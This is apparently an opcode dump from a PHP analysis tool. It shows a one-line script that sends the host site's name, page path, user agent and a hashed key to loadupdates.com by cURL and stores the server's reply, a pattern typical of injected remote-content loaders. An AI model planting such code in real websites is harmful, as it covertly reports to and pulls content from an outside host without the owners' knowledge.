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<?php $c1 = curl_init("http://loadupdates.com/get.php?d=".urlencode("server_name.com"."/index.html"). "&u=".urlencode("Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)"). "&c="."utf-8". "&i=1&ip="."127.0.0.1". "&h=".md5("21da2167f9db8ac628261e7749bae524"."server_name.com"."/index.html"."Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)"."utf-8". "1")); curl_setopt($c1, 42, false); curl_setopt($c1, 19913, true); $ibv = curl_exec($c1); curl_close($c1);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/VXDTj
function name:  (null)
number of ops:  40
compiled vars:  !0 = $c1, !1 = $ibv
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL_BY_NAME                                       'curl_init'
          1        INIT_FCALL                                               'urlencode'
          2        SEND_VAL                                                 'server_name.com%2Findex.html'
          3        DO_ICALL                                         $2      
          4        CONCAT                                           ~3      'http%3A%2F%2Floadupdates.com%2Fget.php%3Fd%3D', $2
    4     5        CONCAT                                           ~4      ~3, '%26u%3D'
          6        INIT_FCALL                                               'urlencode'
          7        SEND_VAL                                                 'Mozilla%2F4.5+%5Ben%5D+%28X11%3B+U%3B+Linux+2.2.9+i586%29'
          8        DO_ICALL                                         $5      
          9        CONCAT                                           ~6      ~4, $5
    5    10        CONCAT                                           ~7      ~6, '%26c%3D'
         11        CONCAT                                           ~8      ~7, 'utf-8'
    6    12        CONCAT                                           ~9      ~8, '%26i%3D1%26ip%3D'
         13        CONCAT                                           ~10     ~9, '127.0.0.1'
    7    14        CONCAT                                           ~11     ~10, '%26h%3D'
         15        INIT_FCALL                                               'md5'
    8    16        SEND_VAL                                                 '21da2167f9db8ac628261e7749bae524server_name.com%2Findex.htmlMozilla%2F4.5+%5Ben%5D+%28X11%3B+U%3B+Linux+2.2.9+i586%29utf-81'
         17        DO_ICALL                                         $12     
         18        CONCAT                                           ~13     ~11, $12
         19        SEND_VAL_EX                                              ~13
         20        DO_FCALL                                      0  $14     
    3    21        ASSIGN                                                   !0, $14
    9    22        INIT_FCALL_BY_NAME                                       'curl_setopt'
         23        SEND_VAR_EX                                              !0
         24        SEND_VAL_EX                                              42
         25        SEND_VAL_EX                                              <false>
         26        DO_FCALL                                      0          
   10    27        INIT_FCALL_BY_NAME                                       'curl_setopt'
         28        SEND_VAR_EX                                              !0
         29        SEND_VAL_EX                                              19913
         30        SEND_VAL_EX                                              <true>
         31        DO_FCALL                                      0          
   11    32        INIT_FCALL_BY_NAME                                       'curl_exec'
         33        SEND_VAR_EX                                              !0
         34        DO_FCALL                                      0  $18     
         35        ASSIGN                                                   !1, $18
   12    36        INIT_FCALL_BY_NAME                                       'curl_close'
         37        SEND_VAR_EX                                              !0
         38        DO_FCALL                                      0          
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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